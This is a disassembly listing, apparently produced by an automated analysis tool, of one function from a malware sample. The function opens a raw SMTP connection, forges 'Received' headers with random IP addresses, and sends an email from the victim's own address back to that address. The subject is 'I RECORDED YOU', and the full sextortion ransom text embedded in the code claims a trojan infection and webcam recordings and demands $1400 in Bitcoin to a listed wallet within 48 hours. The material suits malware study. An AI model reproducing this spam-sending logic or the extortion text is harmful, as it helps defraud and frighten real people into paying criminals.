Function at 0x4019e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x718
mov dword [ebp - 8], 0
push 0x40
mov eax, dword [ebp + 8]
push eax
call fcn.00402260
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402233
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.004010a0
add esp, 8
test eax, eax
je 0x402233
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x402233
cmp dword [ebp - 0x1c], 0xffffffff
je 0x402233
push 0x10
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40221d
mov dword [ebp - 0x8c], 1
push 4
lea eax, [ebp - 0x8c]
push eax
push 1
push 6
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0
je 0x402211
cmp dword [ebp - 0x20], 8
je 0x402211
push 0x400
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401160
add esp, 0xc
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jne 0x401ad0
jmp 0x402211
mov ecx, dword [ebp - 0x90]
mov byte [ebp + ecx - 0x490], 0
lea edx, [ebp - 0x490]
push edx
call fcn.004011c0
add esp, 4
test eax, eax
jne 0x401af6
jmp 0x402211
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x718]
sub ecx, 1
mov dword [ebp - 0x718], ecx
cmp dword [ebp - 0x718], 6
ja case.0x401b21.1
mov edx, dword [ebp - 0x718]
jmp dword [edx*4 + 0x40223c]
push str.ESMTP
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x401b60
push 0x4064e0
push str.EHLO__s_r_n
lea ecx, [ebp - 0x490]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x494], eax
jmp 0x401b80
push 0x4064e0
push str.HELO__s_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x494]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401baa
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov dword [ebp - 0x20], 3
jmp case.0x401b21.1
mov eax, dword [ebp + 8]
push eax
push str.__s_
lea ecx, [ebp - 0x88]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x88]
push edx
push str.MAIL_FROM:__s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x498], eax
mov ecx, dword [ebp - 0x498]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401c1b
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov dword [ebp - 0x20], 4
jmp case.0x401b21.1
mov ecx, dword [ebp + 8]
push ecx
push str.RCPT_TO:___s__r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x49c]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401c70
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov dword [ebp - 0x20], 5
jmp case.0x401b21.1
push 0xffffffffffffffff
push str.DATA_r_n
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401c9f
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov dword [ebp - 0x20], 6
jmp case.0x401b21.1
lea ecx, [ebp - 0x61c]
push ecx
push 5
call fcn.00401320
add esp, 8
push eax
push str._s.com
lea edx, [ebp - 0x508]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 1
lea eax, [ebp - 0x710]
push eax
push 0
call fcn.00401490
add esp, 0xc
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea ecx, [ebp - 0x690]
push ecx
push 0
call fcn.00401490
add esp, 0xc
lea edx, [ebp - 0x690]
push edx
lea eax, [ebp - 0x508]
push eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xfe
idiv ecx
add edx, 1
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xd2
idiv ecx
add edx, 1
push edx
lea edx, [ebp - 0x6a8]
push edx
push 7
call fcn.00401390
add esp, 8
push eax
push str.Received:_from__s____d._d._d._d___by__s_with_MailEnable_ESMTP___s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
mov dword [ebp - 0x714], eax
mov ecx, dword [ebp - 0x714]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401dac
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
lea ecx, [ebp - 0x710]
push ecx
lea edx, [ebp - 0x628]
push edx
push 3
call fcn.00401320
add esp, 8
push eax
lea eax, [ebp - 0x69c]
push eax
push 5
call fcn.00401320
add esp, 8
push eax
push str.Received:__qmail__s_invoked_by_uid__s____s_r_n
lea ecx, [ebp - 0x490]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x714], eax
mov edx, dword [ebp - 0x714]
push edx
lea eax, [ebp - 0x490]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401e1c
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov edx, dword [ebp + 8]
push edx
push str.From:__s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x714], eax
mov ecx, dword [ebp - 0x714]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401e65
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov ecx, dword [ebp + 8]
push ecx
push str.To:__s_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x714], eax
mov eax, dword [ebp - 0x714]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401eae
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
push str.I_RECORDED_YOU_
push str.Subject:__s_r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x714], eax
mov ecx, dword [ebp - 0x714]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401ef8
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
lea ecx, [ebp - 0x690]
push ecx
push str.Date:__s_r_n
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x714], eax
mov eax, dword [ebp - 0x714]
push eax
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401f44
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
lea eax, [ebp - 0x508]
push eax
lea ecx, [ebp - 0x628]
push ecx
push 6
call fcn.00401320
add esp, 8
push eax
lea edx, [ebp - 0x69c]
push edx
push 6
call fcn.00401320
add esp, 8
push eax
push str.Message_ID:___s._s__s__r_n
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x714], eax
mov ecx, dword [ebp - 0x714]
push ecx
lea edx, [ebp - 0x490]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401fb4
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
push 0xffffffffffffffff
push str.Mime_Version:_1.0_r_n
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401fd7
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
push 0xffffffffffffffff
push str.Content_type:_text_plain__r_n_r_n
mov edx, dword [ebp - 0x1c]
push edx
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x401ffa
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
push 0x104
push 0
lea eax, [ebp - 0x610]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Hello_there__r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push str.Unfortunately__there_are_some_bad_news_for_you._r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.Some_time_ago_your_device_was_infected_with_my_private_trojan__R.A.T__Remote_Administration_Tool___if_you_want_to_find_out_more_about_it_simply_use_Google._r_n_r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push str.My_trojan_allows_me_to_access_your_accounts__your_camera_and_microphone._r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.Check_the_sender_of_this_email__I_have_sent_it_from_your_email_account._r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.You_truly_enjoy_checking_out_porn_websites_and_watching_dirty_videos__while_having_a_lot_of_kinky_fun._r_n_r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push str.I_RECORDED_YOU__through_your_camera__SATISFYING_YOURSELF__r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.If_you_still_doubt_my_serious_intentions__it_only_takes_couple_mouse_clicks_to_share_the_video_of_you_with_your_friends__relatives__all_email_contacts_and_on_social_networks._r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.All_you_need_is__1400_USD_in_Bitcoin__BTC__transfer_to_my_account__Bitcoin_equivalent_based_on_exchange_rate_during_your_transfer_._r_n_r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push str.After_the_transaction_is_successful__I_will_proceed_to_delete_everything_without_delay._r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0xffffffffffffffff
lea edx, [ebp - 0x610]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x4020fd
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
push 0x104
push 0
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Afterwards__we_can_pretend_that_we_have_never_met_before._r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push str.In_addition__I_assure_you_that_all_the_harmful_software_will_be_deleted_from_your_device._r_n_r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push str.Be_sure__I_keep_my_promises__r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.If_you_are_unaware_how_to_buy_and_send_Bitcoin__BTC____Google:_Where_to_buy_Bitcoin__BTC___to_send_and_receive_Bitcoin__BTC___you_can_register_your_wallet_for_example_here:_www.blockchain.com_r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.My_Bitcoin__BTC__address_is:_1NnKVByWGK6ivofJgvUfQca4VYNci55HYA_r_n_r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push str.Yes__thats_how_the_address_looks_like__copy_and_paste_my_address__its__cAsE_sEnSEtiVE_._r_n_r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.You_are_given_not_more_than_48_hours_after_you_have_opened_this_email__2_days_to_be_precise_._r_n_r_n
lea edx, [ebp - 0x610]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.Everything_will_be_carried_out_based_on_fairness__r_n_r_n
lea eax, [ebp - 0x610]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push str.An_advice_from_me___regularly_change_all_your_passwords_to_your_accounts_and_update_your_device_with_newest_security_patches._r_n._r_n
lea ecx, [ebp - 0x610]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0xffffffffffffffff
lea edx, [ebp - 0x610]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401120
add esp, 0xc
test eax, eax
jne 0x4021e9
mov dword [ebp - 0x20], 0
jmp case.0x401b21.1
mov dword [ebp - 0x20], 7
jmp case.0x401b21.1
push 0xffffffffffffffff
push str.QUIT
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401120
add esp, 0xc
mov dword [ebp - 0x20], 8
jmp 0x401a90
xor edx, edx
cmp dword [ebp - 0x20], 8
sete dl
mov dword [ebp - 8], edx
push 2
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret